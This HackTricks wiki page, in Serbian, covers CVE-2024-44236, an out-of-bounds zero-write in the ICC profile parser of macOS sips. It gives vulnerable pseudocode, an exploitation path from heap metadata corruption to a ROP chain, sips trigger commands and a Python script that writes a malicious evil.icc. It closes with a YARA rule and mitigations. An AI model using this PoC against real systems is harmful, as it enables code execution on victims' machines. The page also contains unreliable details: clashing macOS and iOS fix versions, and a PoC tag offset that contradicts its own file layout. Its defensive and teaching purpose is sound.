WWW2Exec - sips ICC Profil Izvan Granica Pisanje (CVE-2024-44236)

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Pregled

Izvan granica zero-write ranjivost u Apple macOS Scriptable Image Processing System (sips) ICC profil parseru (macOS 15.0.1, sips-307) omogućava napadaču da ošteti metapodatke hrpe i preusmeri primitiv u punu izvršavanje koda. Greška se nalazi u obradi offsetToCLUT polja lutAToBType (mAB ) i lutBToAType (mBA ) oznaka. Ako napadači postave offsetToCLUT == tagDataSize, parser briše 16 bajtova nakon kraja bafera hrpe. Sprejanje hrpe omogućava napadaču da nula-izvede strukture alokatora ili C++ pokazivače koji će kasnije biti dereferencirani, što dovodi do arbitrary-write-to-exec lanca (CVE-2024-44236, CVSS 7.8).

Apple je ispravio grešku u macOS Sonoma 15.2 / Ventura 14.7.1 (30. oktobar 2024). Druga varijanta (CVE-2025-24185) ispravljena je u macOS 15.5 i iOS/iPadOS 18.5 1. aprila 2025.

Ranjivi Kod

c
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0;            // no bounds check vs allocated size!
}

Koraci Eksploatacije

  1. Kreirajte zloćudni .icc profil
  • Postavite minimalni ICC header (acsp) i dodajte jedan mAB (ili mBA ) tag.
  • Konfigurišite tabelu tagova tako da offsetToCLUT bude jednak veličini taga (tagDataSize).
  • Postavite podatke pod kontrolom napadača odmah nakon taga tako da 16 nula pisanja preklapa metapodatke alokatora.
  1. Pokrenite parsiranje sa bilo kojom sips operacijom koja dodiruje profil
bash
# putanja za verifikaciju (nije potreban izlazni fajl)
sips --verifyColor evil.icc
# ili implicitno prilikom konvertovanja slika koje sadrže profil
sips -s format png payload.jpg --out out.png
  1. Kvar metapodataka na heap-u ➜ proizvoljno pisanje ➜ ROP Na Apple-ovom podrazumevanom nano_zone alokatoru, metapodaci za 16-bajtne slotove se nalaze odmah nakon poravnate 0x1000 slab. Postavljanjem taga profila na kraj takvog slaba, 16 nula-pisanja uništava meta->slot_B. Nakon narednog free, otrovani pokazivač se dodaje u malu slobodnu listu, omogućavajući napadaču da alocira lažni objekat na proizvoljnoj adresi i prepiše C++ vtable pokazivač koji koristi sips, konačno preusmeravajući izvršenje na ROP lanac smešten u zloćudnom ICC baferu.

Brzi PoC generator (Python 3)

python
#!/usr/bin/env python3
import struct, sys

HDR = b'acsp'.ljust(128, b'\0')          # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)]              # one tag directly after header
profile  = HDR
profile += struct.pack('>I', len(TAGS))  # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)

mab = bytearray(52)                      # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52)      # offsetToCLUT = size (OOB start)
profile += mab

open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))

YARA pravilo detekcije

yara
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author       = "HackTricks"
strings:
$magic = { 61 63 73 70 }          // 'acsp'
$mab   = { 6D 41 42 20 }          // 'mAB '
$mba   = { 6D 42 41 20 }          // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10):           // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}

Uticaj

Otvaranje ili obrada kreiranog ICC profila dovodi do daljinskog izvršavanja proizvoljnog koda u kontekstu korisnika koji ga pokreće (Preview, QuickLook, Safari renderovanje slika, Mail priloge, itd.), zaobilazeći Gatekeeper jer se profil može ugraditi unutar inače benignih slika (PNG/JPEG/TIFF).

Detekcija i ublažavanje

  • Zakrpiti! Osigurajte da host radi na macOS ≥ 15.2 / 14.7.1 (ili iOS/iPadOS ≥ 18.1).
  • Implementirajte YARA pravilo iznad na email prolazima i EDR rešenjima.
  • Uklonite ili sanirajte ugrađene ICC profile sa exiftool -icc_profile= -overwrite_original <file> pre daljnje obrade na nepouzdanim datotekama.
  • Ojačajte Preview/QuickLook pokretanjem unutar sandboxovanih “transparentnost i modernizacija” VM-ova prilikom analize nepoznatog sadržaja.
  • Za DFIR, tražite nedavnu izvršavanje sips --verifyColor ili učitavanje ColorSync biblioteka od strane sandboxovanih aplikacija u ujedinjenom logu.

Reference

  • Trend Micro Zero Day Initiative savetovanje ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
  • Apple bezbednosne ažuriranja HT213981 “O bezbednosnom sadržaju macOS Sonoma 15.2” https://support.apple.com/en-us/HT213981

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks